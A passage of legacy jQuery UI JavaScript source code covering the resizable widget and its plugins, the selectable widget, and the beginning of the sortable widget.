if (o.transparent) o.handles[i].css({
opacity: 0
});
if (this.element.is('.ui-wrapper') && o._nodeName.match(/textarea|input|select|button/i)) {
var axis = $(o.handles[i], this.element),
padWrapper = 0;
padWrapper = /sw|ne|nw|se|n|s/.test(i) ? axis.outerHeight() : axis.outerWidth();
var padPos = ['padding', /ne|nw|n/.test(i) ? 'Top' : /se|sw|s/.test(i) ? 'Bottom' : /^e$/.test(i) ? 'Right' : 'Left'].join("");
if (!o.transparent) target.css(padPos, padWrapper);
this._proportionallyResize();
}
if (!$(o.handles[i]).length) continue;
}
};
this._renderAxis(this.element);
o._handles = $('.ui-resizable-handle', self.element);
if (o.disableSelection) o._handles.each(function(i, e) {
$.ui.disableSelection(e);
});
o._handles.mouseover(function() {
if (!o.resizing) {
if (this.className) var axis = this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);
self.axis = o.axis = axis && axis[1] ? axis[1] : 'se';
}
});
if (o.autoHide) {
o._handles.hide();
$(self.element).addClass("ui-resizable-autohide").hover(function() {
$(this).removeClass("ui-resizable-autohide");
o._handles.show();
}, function() {
if (!o.resizing) {
$(this).addClass("ui-resizable-autohide");
o._handles.hide();
}
});
}
this.mouseInit();
},
plugins: {},
ui: function() {
return {
originalElement: this.originalElement,
element: this.element,
helper: this.helper,
position: this.position,
size: this.size,
options: this.options,
originalSize: this.originalSize,
originalPosition: this.originalPosition
};
},
propagate: function(n, e) {
$.ui.plugin.call(this, n, [e, this.ui()]);
if (n != "resize") this.element.triggerHandler(["resize", n].join(""), [e, this.ui()], this.options[n]);
},
destroy: function() {
var el = this.element,
wrapped = el.children(".ui-resizable").get(0);
this.mouseDestroy();
var _destroy = function(exp) {
$(exp).removeClass("ui-resizable ui-resizable-disabled").removeData("resizable").unbind(".resizable").find('.ui-resizable-handle').remove();
};
_destroy(el);
if (el.is('.ui-wrapper') && wrapped) {
el.parent().append($(wrapped).css({
position: el.css('position'),
width: el.outerWidth(),
height: el.outerHeight(),
top: el.css('top'),
left: el.css('left')
})).end().remove();
_destroy(wrapped);
}
},
mouseStart: function(e) {
if (this.options.disabled) return false;
var handle = false;
for (var i in this.options.handles) {
if ($(this.options.handles[i])[0] == e.target) handle = true;
}
if (!handle) return false;
var o = this.options,
iniPos = this.element.position(),
el = this.element,
num = function(v) {
return parseInt(v, 10) || 0;
},
ie6 = $.browser.msie && $.browser.version < 7;
o.resizing = true;
o.documentScroll = {
top: $(document).scrollTop(),
left: $(document).scrollLeft()
};
if (el.is('.ui-draggable') || (/absolute/).test(el.css('position'))) {
var sOffset = $.browser.msie && !o.containment && (/absolute/).test(el.css('position')) && !(/relative/).test(el.parent().css('position'));
var dscrollt = sOffset ? o.documentScroll.top : 0,
dscrolll = sOffset ? o.documentScroll.left : 0;
el.css({
position: 'absolute',
top: (iniPos.top + dscrollt),
left: (iniPos.left + dscrolll)
});
}
if ($.browser.opera && /relative/.test(el.css('position'))) el.css({
position: 'relative',
top: 'auto',
left: 'auto'
});
this._renderProxy();
var curleft = num(this.helper.css('left')),
curtop = num(this.helper.css('top'));
if (o.containment) {
curleft += $(o.containment).scrollLeft() || 0;
curtop += $(o.containment).scrollTop() || 0;
}
this.offset = this.helper.offset();
this.position = {
left: curleft,
top: curtop
};
this.size = o.helper || ie6 ? {
width: el.outerWidth(),
height: el.outerHeight()
} : {
width: el.width(),
height: el.height()
};
this.originalSize = o.helper || ie6 ? {
width: el.outerWidth(),
height: el.outerHeight()
} : {
width: el.width(),
height: el.height()
};
this.originalPosition = {
left: curleft,
top: curtop
};
this.sizeDiff = {
width: el.outerWidth() - el.width(),
height: el.outerHeight() - el.height()
};
this.originalMousePosition = {
left: e.pageX,
top: e.pageY
};
o.aspectRatio = (typeof o.aspectRatio == 'number') ? o.aspectRatio : ((this.originalSize.height / this.originalSize.width) || 1);
if (o.preserveCursor) $('body').css('cursor', this.axis + '-resize');
this.propagate("start", e);
return true;
},
mouseDrag: function(e) {
var el = this.helper,
o = this.options,
props = {},
self = this,
smp = this.originalMousePosition,
a = this.axis;
var dx = (e.pageX - smp.left) || 0,
dy = (e.pageY - smp.top) || 0;
var trigger = this._change[a];
if (!trigger) return false;
var data = trigger.apply(this, [e, dx, dy]),
ie6 = $.browser.msie && $.browser.version < 7,
csdif = this.sizeDiff;
if (o._aspectRatio || e.shiftKey) data = this._updateRatio(data, e);
data = this._respectSize(data, e);
this.propagate("resize", e);
el.css({
top: this.position.top + "px",
left: this.position.left + "px",
width: this.size.width + "px",
height: this.size.height + "px"
});
if (!o.helper && o.proportionallyResize) this._proportionallyResize();
this._updateCache(data);
this.element.triggerHandler("resize", [e, this.ui()], this.options["resize"]);
return false;
},
mouseStop: function(e) {
this.options.resizing = false;
var o = this.options,
num = function(v) {
return parseInt(v, 10) || 0;
},
self = this;
if (o.helper) {
var pr = o.proportionallyResize,
ista = pr && (/textarea/i).test(pr.get(0).nodeName),
soffseth = ista && $.ui.hasScroll(pr.get(0), 'left') ? 0 : self.sizeDiff.height,
soffsetw = ista ? 0 : self.sizeDiff.width;
var s = {
width: (self.size.width - soffsetw),
height: (self.size.height - soffseth)
},
left = (parseInt(self.element.css('left'), 10) + (self.position.left - self.originalPosition.left)) || null,
top = (parseInt(self.element.css('top'), 10) + (self.position.top - self.originalPosition.top)) || null;
if (!o.animate) this.element.css($.extend(s, {
top: top,
left: left
}));
if (o.helper && !o.animate) this._proportionallyResize();
}
if (o.preserveCursor) $('body').css('cursor', 'auto');
this.propagate("stop", e);
if (o.helper) this.helper.remove();
return false;
},
_updateCache: function(data) {
var o = this.options;
this.offset = this.helper.offset();
if (data.left) this.position.left = data.left;
if (data.top) this.position.top = data.top;
if (data.height) this.size.height = data.height;
if (data.width) this.size.width = data.width;
},
_updateRatio: function(data, e) {
var o = this.options,
cpos = this.position,
csize = this.size,
a = this.axis;
if (data.height) data.width = (csize.height / o.aspectRatio);
else if (data.width) data.height = (csize.width * o.aspectRatio);
if (a == 'sw') {
data.left = cpos.left + (csize.width - data.width);
data.top = null;
}
if (a == 'nw') {
data.top = cpos.top + (csize.height - data.height);
data.left = cpos.left + (csize.width - data.width);
}
return data;
},
_respectSize: function(data, e) {
var el = this.helper,
o = this.options,
pRatio = o._aspectRatio || e.shiftKey,
a = this.axis,
ismaxw = data.width && o.maxWidth && o.maxWidth < data.width,
ismaxh = data.height && o.maxHeight && o.maxHeight < data.height,
isminw = data.width && o.minWidth && o.minWidth > data.width,
isminh = data.height && o.minHeight && o.minHeight > data.height;
if (isminw) data.width = o.minWidth;
if (isminh) data.height = o.minHeight;
if (ismaxw) data.width = o.maxWidth;
if (ismaxh) data.height = o.maxHeight;
var dw = this.originalPosition.left + this.originalSize.width,
dh = this.position.top + this.size.height;
var cw = /sw|nw|w/.test(a),
ch = /nw|ne|n/.test(a);
if (isminw && cw) data.left = dw - o.minWidth;
if (ismaxw && cw) data.left = dw - o.maxWidth;
if (isminh && ch) data.top = dh - o.minHeight;
if (ismaxh && ch) data.top = dh - o.maxHeight;
var isNotwh = !data.width && !data.height;
if (isNotwh && !data.left && data.top) data.top = null;
else if (isNotwh && !data.top && data.left) data.left = null;
return data;
},
_proportionallyResize: function() {
var o = this.options;
if (!o.proportionallyResize) return;
var prel = o.proportionallyResize,
el = this.helper || this.element;
if (!o.borderDif) {
var b = [prel.css('borderTopWidth'), prel.css('borderRightWidth'), prel.css('borderBottomWidth'), prel.css('borderLeftWidth')],
p = [prel.css('paddingTop'), prel.css('paddingRight'), prel.css('paddingBottom'), prel.css('paddingLeft')];
o.borderDif = $.map(b, function(v, i) {
var border = parseInt(v, 10) || 0,
padding = parseInt(p[i], 10) || 0;
return border + padding;
});
}
prel.css({
height: (el.height() - o.borderDif[0] - o.borderDif[2]) + "px",
width: (el.width() - o.borderDif[1] - o.borderDif[3]) + "px"
});
},
_renderProxy: function() {
var el = this.element,
o = this.options;
this.elementOffset = el.offset();
if (o.helper) {
this.helper = this.helper || $('<div style="overflow:hidden;"></div>');
var ie6 = $.browser.msie && $.browser.version < 7,
ie6offset = (ie6 ? 1 : 0),
pxyoffset = (ie6 ? 2 : -1);
this.helper.addClass(o.helper).css({
width: el.outerWidth() + pxyoffset,
height: el.outerHeight() + pxyoffset,
position: 'absolute',
left: this.elementOffset.left - ie6offset + 'px',
top: this.elementOffset.top - ie6offset + 'px',
zIndex: ++o.zIndex
});
this.helper.appendTo("body");
if (o.disableSelection) $.ui.disableSelection(this.helper.get(0));
} else {
this.helper = el;
}
},
_change: {
e: function(e, dx, dy) {
return {
width: this.originalSize.width + dx
};
},
w: function(e, dx, dy) {
var o = this.options,
cs = this.originalSize,
sp = this.originalPosition;
return {
left: sp.left + dx,
width: cs.width - dx
};
},
n: function(e, dx, dy) {
var o = this.options,
cs = this.originalSize,
sp = this.originalPosition;
return {
top: sp.top + dy,
height: cs.height - dy
};
},
s: function(e, dx, dy) {
return {
height: this.originalSize.height + dy
};
},
se: function(e, dx, dy) {
return $.extend(this._change.s.apply(this, arguments), this._change.e.apply(this, [e, dx, dy]));
},
sw: function(e, dx, dy) {
return $.extend(this._change.s.apply(this, arguments), this._change.w.apply(this, [e, dx, dy]));
},
ne: function(e, dx, dy) {
return $.extend(this._change.n.apply(this, arguments), this._change.e.apply(this, [e, dx, dy]));
},
nw: function(e, dx, dy) {
return $.extend(this._change.n.apply(this, arguments), this._change.w.apply(this, [e, dx, dy]));
}
}
}));
$.extend($.ui.resizable, {
defaults: {
cancel: ":input",
distance: 1,
delay: 0,
preventDefault: true,
transparent: false,
minWidth: 10,
minHeight: 10,
aspectRatio: false,
disableSelection: true,
preserveCursor: true,
autoHide: false,
knobHandles: false
}
});
$.ui.plugin.add("resizable", "containment", {
start: function(e, ui) {
var o = ui.options,
self = $(this).data("resizable"),
el = self.element;
var oc = o.containment,
ce = (oc instanceof $) ? oc.get(0) : (/parent/.test(oc)) ? el.parent().get(0) : oc;
if (!ce) return;
self.containerElement = $(ce);
if (/document/.test(oc) || oc == document) {
self.containerOffset = {
left: 0,
top: 0
};
self.containerPosition = {
left: 0,
top: 0
};
self.parentData = {
element: $(document),
left: 0,
top: 0,
width: $(document).width(),
height: $(document).height() || document.body.parentNode.scrollHeight
};
} else {
self.containerOffset = $(ce).offset();
self.containerPosition = $(ce).position();
self.containerSize = {
height: $(ce).innerHeight(),
width: $(ce).innerWidth()
};
var co = self.containerOffset,
ch = self.containerSize.height,
cw = self.containerSize.width,
width = ($.ui.hasScroll(ce, "left") ? ce.scrollWidth : cw),
height = ($.ui.hasScroll(ce) ? ce.scrollHeight : ch);
self.parentData = {
element: ce,
left: co.left,
top: co.top,
width: width,
height: height
};
}
},
resize: function(e, ui) {
var o = ui.options,
self = $(this).data("resizable"),
ps = self.containerSize,
co = self.containerOffset,
cs = self.size,
cp = self.position,
pRatio = o._aspectRatio || e.shiftKey,
cop = {
top: 0,
left: 0
},
ce = self.containerElement;
if (ce[0] != document && /static/.test(ce.css('position'))) cop = self.containerPosition;
if (cp.left < (o.helper ? co.left : cop.left)) {
self.size.width = self.size.width + (o.helper ? (self.position.left - co.left) : (self.position.left - cop.left));
if (pRatio) self.size.height = self.size.width * o.aspectRatio;
self.position.left = o.helper ? co.left : cop.left;
}
if (cp.top < (o.helper ? co.top : 0)) {
self.size.height = self.size.height + (o.helper ? (self.position.top - co.top) : self.position.top);
if (pRatio) self.size.width = self.size.height / o.aspectRatio;
self.position.top = o.helper ? co.top : 0;
}
var woset = (o.helper ? self.offset.left - co.left : (self.position.left - cop.left)) + self.sizeDiff.width,
hoset = (o.helper ? self.offset.top - co.top : self.position.top) + self.sizeDiff.height;
if (woset + self.size.width >= self.parentData.width) {
self.size.width = self.parentData.width - woset;
if (pRatio) self.size.height = self.size.width * o.aspectRatio;
}
if (hoset + self.size.height >= self.parentData.height) {
self.size.height = self.parentData.height - hoset;
if (pRatio) self.size.width = self.size.height / o.aspectRatio;
}
},
stop: function(e, ui) {
var o = ui.options,
self = $(this).data("resizable"),
cp = self.position,
co = self.containerOffset,
cop = self.containerPosition,
ce = self.containerElement;
var helper = $(self.helper),
ho = helper.offset(),
w = helper.innerWidth(),
h = helper.innerHeight();
if (o.helper && !o.animate && /relative/.test(ce.css('position'))) $(this).css({
left: (ho.left - co.left),
top: (ho.top - co.top),
width: w,
height: h
});
if (o.helper && !o.animate && /static/.test(ce.css('position'))) $(this).css({
left: cop.left + (ho.left - co.left),
top: cop.top + (ho.top - co.top),
width: w,
height: h
});
}
});
$.ui.plugin.add("resizable", "grid", {
resize: function(e, ui) {
var o = ui.options,
self = $(this).data("resizable"),
cs = self.size,
os = self.originalSize,
op = self.originalPosition,
a = self.axis,
ratio = o._aspectRatio || e.shiftKey;
o.grid = typeof o.grid == "number" ? [o.grid, o.grid] : o.grid;
var ox = Math.round((cs.width - os.width) / (o.grid[0] || 1)) * (o.grid[0] || 1),
oy = Math.round((cs.height - os.height) / (o.grid[1] || 1)) * (o.grid[1] || 1);
if (/^(se|s|e)$/.test(a)) {
self.size.width = os.width + ox;
self.size.height = os.height + oy;
} else if (/^(ne)$/.test(a)) {
self.size.width = os.width + ox;
self.size.height = os.height + oy;
self.position.top = op.top - oy;
} else if (/^(sw)$/.test(a)) {
self.size.width = os.width + ox;
self.size.height = os.height + oy;
self.position.left = op.left - ox;
} else {
self.size.width = os.width + ox;
self.size.height = os.height + oy;
self.position.top = op.top - oy;
self.position.left = op.left - ox;
}
}
});
$.ui.plugin.add("resizable", "animate", {
stop: function(e, ui) {
var o = ui.options,
self = $(this).data("resizable");
var pr = o.proportionallyResize,
ista = pr && (/textarea/i).test(pr.get(0).nodeName),
soffseth = ista && $.ui.hasScroll(pr.get(0), 'left') ? 0 : self.sizeDiff.height,
soffsetw = ista ? 0 : self.sizeDiff.width;
var style = {
width: (self.size.width - soffsetw),
height: (self.size.height - soffseth)
},
left = (parseInt(self.element.css('left'), 10) + (self.position.left - self.originalPosition.left)) || null,
top = (parseInt(self.element.css('top'), 10) + (self.position.top - self.originalPosition.top)) || null;
self.element.animate($.extend(style, top && left ? {
top: top,
left: left
} : {}), {
duration: o.animateDuration || "slow",
easing: o.animateEasing || "swing",
step: function() {
var data = {
width: parseInt(self.element.css('width'), 10),
height: parseInt(self.element.css('height'), 10),
top: parseInt(self.element.css('top'), 10),
left: parseInt(self.element.css('left'), 10)
};
if (pr) pr.css({
width: data.width,
height: data.height
});
self._updateCache(data);
self.propagate("animate", e);
}
});
}
});
$.ui.plugin.add("resizable", "ghost", {
start: function(e, ui) {
var o = ui.options,
self = $(this).data("resizable"),
pr = o.proportionallyResize,
cs = self.size;
if (!pr) self.ghost = self.element.clone();
else self.ghost = pr.clone();
self.ghost.css({
opacity: .25,
display: 'block',
position: 'relative',
height: cs.height,
width: cs.width,
margin: 0,
left: 0,
top: 0
}).addClass('ui-resizable-ghost').addClass(typeof o.ghost == 'string' ? o.ghost : '');
self.ghost.appendTo(self.helper);
},
resize: function(e, ui) {
var o = ui.options,
self = $(this).data("resizable"),
pr = o.proportionallyResize;
if (self.ghost) self.ghost.css({
position: 'relative',
height: self.size.height,
width: self.size.width
});
},
stop: function(e, ui) {
var o = ui.options,
self = $(this).data("resizable"),
pr = o.proportionallyResize;
if (self.ghost && self.helper) self.helper.get(0).removeChild(self.ghost.get(0));
}
});
$.ui.plugin.add("resizable", "alsoResize", {
start: function(e, ui) {
var o = ui.options,
self = $(this).data("resizable"),
_store = function(exp) {
$(exp).each(function() {
$(this).data("resizable-alsoresize", {
width: parseInt($(this).width(), 10),
height: parseInt($(this).height(), 10),
left: parseInt($(this).css('left'), 10),
top: parseInt($(this).css('top'), 10)
});
});
};
if (typeof(o.alsoResize) == 'object') {
if (o.alsoResize.length) {
o.alsoResize = o.alsoResize[0];
_store(o.alsoResize);
} else {
$.each(o.alsoResize, function(exp, c) {
_store(exp);
});
}
} else {
_store(o.alsoResize);
}
},
resize: function(e, ui) {
var o = ui.options,
self = $(this).data("resizable"),
os = self.originalSize,
op = self.originalPosition;
var delta = {
height: (self.size.height - os.height) || 0,
width: (self.size.width - os.width) || 0,
top: (self.position.top - op.top) || 0,
left: (self.position.left - op.left) || 0
},
_alsoResize = function(exp, c) {
$(exp).each(function() {
var start = $(this).data("resizable-alsoresize"),
style = {},
css = c && c.length ? c : ['width', 'height', 'top', 'left'];
$.each(css || ['width', 'height', 'top', 'left'], function(i, prop) {
var sum = (start[prop] || 0) + (delta[prop] || 0);
if (sum && sum >= 0) style[prop] = sum || null;
});
$(this).css(style);
});
};
if (typeof(o.alsoResize) == 'object') {
$.each(o.alsoResize, function(exp, c) {
_alsoResize(exp, c);
});
} else {
_alsoResize(o.alsoResize);
}
},
stop: function(e, ui) {
$(this).removeData("resizable-alsoresize-start");
}
});
})(jQuery);
(function($) {
$.widget("ui.selectable", $.extend({}, $.ui.mouse, {
init: function() {
var self = this;
this.element.addClass("ui-selectable");
this.dragged = false;
var selectees;
this.refresh = function() {
selectees = $(self.options.filter, self.element[0]);
selectees.each(function() {
var $this = $(this);
var pos = $this.offset();
$.data(this, "selectable-item", {
element: this,
$element: $this,
left: pos.left,
top: pos.top,
right: pos.left + $this.width(),
bottom: pos.top + $this.height(),
startselected: false,
selected: $this.hasClass('ui-selected'),
selecting: $this.hasClass('ui-selecting'),
unselecting: $this.hasClass('ui-unselecting')
});
});
};
this.refresh();
this.selectees = selectees.addClass("ui-selectee");
this.mouseInit();
this.helper = $(document.createElement('div')).css({
border: '1px dotted black'
});
},
toggle: function() {
if (this.options.disabled) {
this.enable();
} else {
this.disable();
}
},
destroy: function() {
this.element.removeClass("ui-selectable ui-selectable-disabled").removeData("selectable").unbind(".selectable");
this.mouseDestroy();
},
mouseStart: function(e) {
var self = this;
this.opos = [e.pageX, e.pageY];
if (this.options.disabled) return;
var options = this.options;
this.selectees = $(options.filter, this.element[0]);
this.element.triggerHandler("selectablestart", [e,
{
"selectable": this.element[0],
"options": options
}], options.start);
$('body').append(this.helper);
this.helper.css({
"z-index": 100,
"position": "absolute",
"left": e.clientX,
"top": e.clientY,
"width": 0,
"height": 0
});
if (options.autoRefresh) {
this.refresh();
}
this.selectees.filter('.ui-selected').each(function() {
var selectee = $.data(this, "selectable-item");
selectee.startselected = true;
if (!e.ctrlKey) {
selectee.$element.removeClass('ui-selected');
selectee.selected = false;
selectee.$element.addClass('ui-unselecting');
selectee.unselecting = true;
self.element.triggerHandler("selectableunselecting", [e,
{
selectable: self.element[0],
unselecting: selectee.element,
options: options
}], options.unselecting);
}
});
var isSelectee = false;
$(e.target).parents().andSelf().each(function() {
if ($.data(this, "selectable-item")) isSelectee = true;
});
return this.options.keyboard ? !isSelectee : true;
},
mouseDrag: function(e) {
var self = this;
this.dragged = true;
if (this.options.disabled) return;
var options = this.options;
var x1 = this.opos[0],
y1 = this.opos[1],
x2 = e.pageX,
y2 = e.pageY;
if (x1 > x2) {
var tmp = x2;
x2 = x1;
x1 = tmp;
}
if (y1 > y2) {
var tmp = y2;
y2 = y1;
y1 = tmp;
}
this.helper.css({
left: x1,
top: y1,
width: x2 - x1,
height: y2 - y1
});
this.selectees.each(function() {
var selectee = $.data(this, "selectable-item");
if (!selectee || selectee.element == self.element[0]) return;
var hit = false;
if (options.tolerance == 'touch') {
hit = (!(selectee.left > x2 || selectee.right < x1 || selectee.top > y2 || selectee.bottom < y1));
} else if (options.tolerance == 'fit') {
hit = (selectee.left > x1 && selectee.right < x2 && selectee.top > y1 && selectee.bottom < y2);
}
if (hit) {
if (selectee.selected) {
selectee.$element.removeClass('ui-selected');
selectee.selected = false;
}
if (selectee.unselecting) {
selectee.$element.removeClass('ui-unselecting');
selectee.unselecting = false;
}
if (!selectee.selecting) {
selectee.$element.addClass('ui-selecting');
selectee.selecting = true;
self.element.triggerHandler("selectableselecting", [e,
{
selectable: self.element[0],
selecting: selectee.element,
options: options
}], options.selecting);
}
} else {
if (selectee.selecting) {
if (e.ctrlKey && selectee.startselected) {
selectee.$element.removeClass('ui-selecting');
selectee.selecting = false;
selectee.$element.addClass('ui-selected');
selectee.selected = true;
} else {
selectee.$element.removeClass('ui-selecting');
selectee.selecting = false;
if (selectee.startselected) {
selectee.$element.addClass('ui-unselecting');
selectee.unselecting = true;
}
self.element.triggerHandler("selectableunselecting", [e,
{
selectable: self.element[0],
unselecting: selectee.element,
options: options
}], options.unselecting);
}
}
if (selectee.selected) {
if (!e.ctrlKey && !selectee.startselected) {
selectee.$element.removeClass('ui-selected');
selectee.selected = false;
selectee.$element.addClass('ui-unselecting');
selectee.unselecting = true;
self.element.triggerHandler("selectableunselecting", [e,
{
selectable: self.element[0],
unselecting: selectee.element,
options: options
}], options.unselecting);
}
}
}
});
return false;
},
mouseStop: function(e) {
var self = this;
this.dragged = false;
var options = this.options;
$('.ui-unselecting', this.element[0]).each(function() {
var selectee = $.data(this, "selectable-item");
selectee.$element.removeClass('ui-unselecting');
selectee.unselecting = false;
selectee.startselected = false;
self.element.triggerHandler("selectableunselected", [e,
{
selectable: self.element[0],
unselected: selectee.element,
options: options
}], options.unselected);
});
$('.ui-selecting', this.element[0]).each(function() {
var selectee = $.data(this, "selectable-item");
selectee.$element.removeClass('ui-selecting').addClass('ui-selected');
selectee.selecting = false;
selectee.selected = true;
selectee.startselected = true;
self.element.triggerHandler("selectableselected", [e,
{
selectable: self.element[0],
selected: selectee.element,
options: options
}], options.selected);
});
this.element.triggerHandler("selectablestop", [e,
{
selectable: self.element[0],
options: this.options
}], this.options.stop);
this.helper.remove();
return false;
}
}));
$.extend($.ui.selectable, {
defaults: {
distance: 1,
delay: 0,
cancel: ":input",
appendTo: 'body',
autoRefresh: true,
filter: '*',
tolerance: 'touch'
}
});
})(jQuery);
(function($) {
function contains(a, b) {
var safari2 = $.browser.safari && $.browser.version < 522;
if (a.contains && !safari2) {
return a.contains(b);
}
if (a.compareDocumentPosition) return !!(a.compareDocumentPosition(b) & 16);
while (b = b.parentNode)
if (b == a) return true;
return false;
};
$.widget("ui.sortable", $.extend({}, $.ui.mouse, {
init: function() {
var o = this.options;
this.containerCache = {};
this.element.addClass("ui-sortable");
this.refresh();
this.floating = this.items.length ? (/left|right/).test(this.items[0].item.css('float')) : false;
if (!(/(relative|absolute|fixed)/).test(this.element.css('position'))) this.element.css('position', 'relative');
this.offset = this.element.offset();
this.mouseInit();
},
plugins: {},
ui: function(inst) {
return {
helper: (inst || this)["helper"],
placeholder: (inst || this)["placeholder"] || $([]),
position: (inst || this)["position"],
absolutePosition: (inst || this)["positionAbs"],
options: this.options,
element: this.element,
item: (inst || this)["currentItem"],
sender: inst ? inst.element : null
};
},
propagate: function(n, e, inst, noPropagation) {
$.ui.plugin.call(this, n, [e, this.ui(inst)]);
if (!noPropagation) this.element.triggerHandler(n == "sort" ? n : "sort" + n, [e, this.ui(inst)], this.options[n]);
},
serialize: function(o) {
var items = ($.isFunction(this.options.items) ? this.options.items.call(this.element) : $(this.options.items, this.element)).not('.ui-sortable-helper');
var str = [];
o = o || {};
items.each(function() {
var res = ($(this).attr(o.attribute || 'id') || '').match(o.expression || (/(.+)[-=_](.+)/));
if (res) str.push((o.key || res[1]) + '[]=' + (o.key && o.expression ? res[1] : res[2]));
});
return str.join('&');
},
toArray: function(attr) {
var items = ($.isFunction(this.options.items) ? this.options.items.call(this.element) : $(this.options.items, this.element)).not('.ui-sortable-helper');
var ret = [];
items.each(function() {
ret.push($(this).attr(attr || 'id'));
});
return ret;
},
intersectsWith: function(item) {
var x1 = this.positionAbs.left,
x2 = x1 + this.helperProportions.width,
y1 = this.positionAbs.top,
y2 = y1 + this.helperProportions.height;
var l = item.left,
r = l + item.width,
t = item.top,
b = t + item.height;
if (this.options.tolerance == "pointer" || this.options.forcePointerForContainers || (this.options.tolerance == "guess" && this.helperProportions[this.floating ? 'width' : 'height'] > item[this.floating ? 'width' : 'height'])) {
return (y1 + this.offset.click.top > t && y1 + this.offset.click.top < b && x1 + this.offset.click.left > l && x1 + this.offset.click.left < r);
} else {
return (l < x1 + (this.helperProportions.width / 2) && x2 - (this.helperProportions.width / 2) < r && t < y1 + (this.helperProportions.height / 2) && y2 - (this.helperProportions.height / 2) < b);
}
},
intersectsWithEdge: function(item) {
var x1 = this.positionAbs.left,
x2 = x1 + this.helperProportions.width,
y1 = this.positionAbs.top,
y2 = y1 + this.helperProportions.height;
var l = item.left,
r = l + item.width,
t = item.top,
b = t + item.height;
if (this.options.tolerance == "pointer" || (this.options.tolerance == "guess" && this.helperProportions[this.floating ? 'width' : 'height'] > item[this.floating ? 'width' : 'height'])) {
if (!(y1 + this.offset.click.top > t && y1 + this.offset.click.top < b && x1 + this.offset.click.left > l && x1 + this.offset.click.left < r)) return false;
if (this.floating) {
if (x1 + this.offset.click.left > l && x1 + this.offset.click.left < l + item.width / 2) return 2;
if (x1 + this.offset.click.left > l + item.width / 2 && x1 + this.offset.click.left < r) return 1;
} else {
if (y1 + this.offset.click.top > t && y1 + this.offset.click.top < t + item.height / 2) return 2;
if (y1 + this.offset.click.top > t + item.height / 2 && y1 + this.offset.click.top < b) return 1;
}
} else {
if (!(l < x1 + (this.helperProportions.width / 2) && x2 - (this.helperProportions.width / 2) < r && t < y1 + (this.helperProportions.height / 2) && y2 - (this.helperProportions.height / 2) < b)) return false;
if (this.floating) {
if (x2 > l && x1 < l) return 2;
if (x1 < r && x2 > r) return 1;
} else {
if (y2 > t && y1 < t) return 1;
if (y1 < b && y2 > b) return 2;
}
}
return false;
},
refresh: function() {
this.refreshItems();
this.refreshPositions();
},
refreshItems: function() {
this.items = [];
this.containers = [this];
var items = this.items;
var self = this;
var queries = [
[$.isFunction(this.options.items) ? this.options.items.call(this.element, null, {
options: this.options,
item: this.currentItem
}) : $(this.options.items, this.element), this]
];
if (this.options.connectWith) {
for (var i = this.options.connectWith.length - 1; i >= 0; i--) {
var cur = $(this.options.connectWith[i]);
for (var j = cur.length - 1; j >= 0; j--) {
var inst = $.data(cur[j], 'sortable');
if (inst && !inst.options.disabled) {
queries.push([$.isFunction(inst.options.items) ? inst.options.items.call(inst.element) : $(inst.options.items, inst.element), inst]);
this.containers.push(inst);
}
};
};
}
for (var i = queries.length - 1; i >= 0; i--) {
queries[i][0].each(function() {
$.data(this, 'sortable-item', queries[i][1]);
items.push({
item: $(this),
instance: queries[i][1],
width: 0,
height: 0,
left: 0,
top: 0
});
});
};
},
refreshPositions: function(fast) {
if (this.offsetParent) {
var po = this.offsetParent.offset();
this.offset.parent = {
top: po.top + this.offsetParentBorders.top,
left: po.left + this.offsetParentBorders.left
};
}
for (var i = this.items.length - 1; i >= 0; i--) {
if (this.items[i].instance != this.currentContainer && this.currentContainer && this.items[i].item[0] != this.currentItem[0]) continue;
var t = this.options.toleranceElement ? $(this.options.toleranceElement, this.items[i].item) : this.items[i].item;
if (!fast) {
this.items[i].width = t[0].offsetWidth;
this.items[i].height = t[0].offsetHeight;
}
var p = t.offset();
this.items[i].left = p.left;
this.items[i].top = p.top;
};
if (this.options.custom && this.options.custom.refreshContainers) {
this.options.custom.refreshContainers.call(this);
} else {
for (var i = this.containers.length - 1; i >= 0; i--) {
var p = this.containers[i].element.offset();
this.containers[i].containerCache.left = p.left;
this.containers[i].containerCache.top = p.top;
this.containers[i].containerCache.width = this.containers[i].element.outerWidth();
this.containers[i].containerCache.height = this.containers[i].element.outerHeight();
};
}
},
destroy: function() {
this.element.removeClass("ui-sortable ui-sortable-disabled").removeData("sortable").unbind(".sortable");
this.mouseDestroy();
for (var i = this.items.length - 1; i >= 0; i--)
this.items[i].item.removeData("sortable-item");
},
createPlaceholder: function(that) {
var self = that || this,
o = self.options;
if (o.placeholder.constructor == String) {
var className = o.placeholder;
o.placeholder = {
element: function() {
return $('<div></div>').addClass(className)[0];
},
update: function(i, p) {
p.css(i.offset()).css({
width: i.outerWidth(),
height: i.outerHeight()
});
}
};
}
self.placeholder = $(o.placeholder.element.call(self.element, self.currentItem)).appendTo('body').css({
position: 'absolute'
});
o.placeholder.update.call(self.element, self.currentItem, self.placeholder);
},
contactContainers: function(e) {
for (var i = this.containers.length - 1; i >= 0; i--) {
if (this.intersectsWith(this.containers[i].containerCache)) {
if (!this.containers[i].containerCache.over) {
if (this.currentContainer != this.containers[i]) {
var dist = 10000;
var itemWithLeastDistance = null;
var base = this.positionAbs[this.containers[i].floating ? 'left' : 'top'];
for (var j = this.items.length - 1; j >= 0; j--) {
if (!contains(this.containers[i].element[0], this.items[j].item[0])) continue;
var cur = this.items[j][this.containers[i].floating ? 'left' : 'top'];
if (Math.abs(cur - base) < dist) {
dist = Math.abs(cur - base);
itemWithLeastDistance = this.items[j];
}
}
if (!itemWithLeastDistance && !this.options.dropOnEmpty) continue;
if (this.placeholder) this.placeholder.remove();
if (this.containers[i].options.placeholder) {
this.containers[i].createPlaceholder(this);
} else {
this.placeholder = null;;
}
this.currentContainer = this.containers[i];
itemWithLeastDistance ? this.rearrange(e, itemWithLeastDistance, null, true) : this.rearrange(e, null, this.containers[i].element, true);
this.propagate("change", e);
this.containers[i].propagate("change", e, this);
}
this.containers[i].propagate("over", e, this);
this.containers[i].containerCache.over = 1;
}
} else {
if (this.containers[i].containerCache.over) {
this.containers[i].propagate("out", e, this);
this.containers[i].containerCache.over = 0;
}
}
};
},
mouseCapture: function(e, overrideHandle) {
if (this.options.disabled || this.options.type == 'static') return false;
this.refreshItems();
var currentItem = null,
self = this,
nodes = $(e.target).parents().each(function() {
if ($.data(this, 'sortable-item') == self) {
currentItem = $(this);
return false;
}
});
if ($.data(e.target, 'sortable-item') == self) currentItem = $(e.target);
if (!currentItem) return false;
if (this.options.handle && !overrideHandle) {
var validHandle = false;
$(this.options.handle, currentItem).find("*").andSelf().each(function() {
if (this == e.target) validHandle = true;
});
